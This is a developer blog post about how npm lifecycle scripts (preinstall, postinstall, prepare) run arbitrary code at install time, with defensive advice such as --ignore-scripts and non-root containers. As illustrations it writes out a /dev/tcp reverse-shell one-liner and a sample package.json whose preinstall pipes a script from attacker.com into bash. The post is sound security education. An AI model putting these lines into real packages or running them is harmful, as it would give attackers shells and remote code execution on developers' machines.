The Hidden Dangers of npm install: What Most Node.js Developers Get Wrong

Kaan YagciKaan Yagci
4 min read

Most Node.js developers treat npm install like a vending machine.
You push the button (Enter) and hope candy falls out.

You might hear explanations like:

“It just downloads the code,”

or

"It’s self-explanatory, it installs stuff."

No, it executes stuff.

And if you're not careful, it executes arbitrary code on your machine.
Every. Single. Time.

What npm install actually does (under the hood)

When you run npm install, it doesn’t just fetch code and save it to node_modules.
It follows this rough process:

  1. Dependency resolution:

    • Reads your package.json and package-lock.json.

    • Resolves exact versions for all top-level and nested dependencies (down to depth 10+ sometimes).

  2. Download:

    • Fetches .tgz tarballs from the npm registry (or custom registries/mirrors).

    • Extracts those packages locally into node_modules.

  3. Lifecycle Scripts Execution:

    • Before or after installing each package, npm runs predefined scripts if they exist.

    • These scripts can be anything, shell commands, Node.js scripts, you name it.

The official lifecycle hooks include:

HookWhen it runs
preinstallBefore installing the package
installAfter the package is installed
postinstallAfter install script
prepublish(Deprecated) Before publishing
preprepareBefore prepare script
prepareAfter install/build, before pack
postprepareAfter prepare

If any malicious actor injects a script in any of these stages, you are pwned.

And yes, these scripts inherit your privileges:

  • If you're a user → user permissions.

  • If you're running as root (common in CI/CD and Docker containers) → root permissions.

The prepare script especially is nasty because it's triggered in both dev and packaging phases, making it a favorite attack surface for sneaky malware.

Attack vectors: Why it's a huge deal

Attackers exploit install scripts to:

  • Spawn reverse shells (bash -i >& /dev/tcp/attacker_ip/port 0>&1)

  • Crypto miners (silently mining Monero on your CI server)

  • Exfiltrate credentials like AWS secrets, SSH keys, .npmrc tokens

  • Tampering your build artifacts or source code

And most importantly:
You don’t even have to run your code.
The damage happens at install time.

Real world: ethers-provider2 + ethers-providerz (March 2025)

In March 2025, two malicious npm packages (ethers-provider2, ethers-providerz) were published.
They contained a postinstall script that:

  • Located the installed ethers package on your machine.

  • Monkey-patched it to open a reverse shell.

  • Removed itself after execution to hide traces.

Your legit dependency was already compromised even if you immediately deleted the malicious package.

The damage was done at install time.

If you had ignore-scripts enabled globally, this attack would've been dead on arrival.

How to check what scripts will run

Always inspect before you install.

Quick check:

npm show [package_name] scripts

Example suspicious output:

{
  "preinstall": "curl http://attacker.com/payload.sh | bash",
  "install": "node ./setup.js",
  "postinstall": "node ./backdoor.js"
}

If you see

  • install.js and postinstall.js doing who-knows-what.

  • anything fetching remote code

Red flag

Manual audit:

npm pack [package_name]
tar -xzf [downloaded-package.tgz]
cat package/package.json

Pro tip:
Attackers often obfuscate malicious payloads, or dynamically fetch them at install time.
Never assume setup.js is safe just because it “looks small.”

How to actually protect yourself

If you care about your machine, your project, and your users, here's the real checklist:

  • Default to installing without running scripts:

      # Run npm install without the scripts
      npm install --ignore-scripts
    
      # Or globally enable --ignore-scripts
      npm config set ignore-scripts true
    

    This will prevent any lifecycle scripts (preinstall, install, postinstall, etc.) from running automatically on your machine.
    You can still manually run trusted scripts if needed after inspection.

  • Use safer package managers:

    Both pnpm and Yarn come with safer defaults:

    • pnpm isolates packages and doesn’t execute install scripts automatically unless explicitly allowed.

    • Yarn (v2+) uses Plug’n’Play (PnP) mode, which blocks install scripts by default unless enabled.

  • Never run CI/CD or Docker containers as root

    In your Dockerfile, always downgrade:

      FROM node:20
      USER node
    

    Root inside containers = root-level compromise if anything leaks.

  • Audit your dependency tree regularly

      npm audit
      npm ls
    

    Don't just patch vulnerabilities. Understand your dependencies.
    Every extra library you add is another possible breach point.

  • Minimize your dependencies

    "Could I write this myself?"
    If yes, don't install another library.

    Lazy importing is a security debt you will pay later, usually when you least expect it.

  • Stay paranoid, stay updated:

    Security advisories and trusted sources regularly report new compromises.

    Read them. Don't skim.

Bonus tip: Need to run a script?

If you really need to run a script (for example, native bindings like node-gyp),

  • Inspect the package.json first.

  • Run it manually in a clean, isolated environment (local dev container, etc).

Treat every third-party build process as untrusted until proven otherwise.

Why it matters

npm was built for developer flexibility, not developer safety.
It gives you rope. Whether you climb or hang yourself is up to you.

Attackers know that most developers:

  • Never audit dependencies

  • Never read package.json

  • Never check lifecycle scripts

That ignorance is their entry point.
Stop making it easy for them.

Security isn’t a plugin.
Security isn’t “someone else’s job.”
Security is a mindset. Own it.

1
Subscribe to my newsletter

Read articles from Kaan Yagci directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Kaan Yagci
Kaan Yagci

Senior Platform Engineer. Infra and programming languages nerd. I write about the stuff nobody teaches: how things really work under the hood, containers, orchestration, authentication, scaling, debugging, and what actually matters when you’re building and running real systems. I share what I wish more real seniors did: the brutal, unfiltered truth about building secure and reliable systems in production.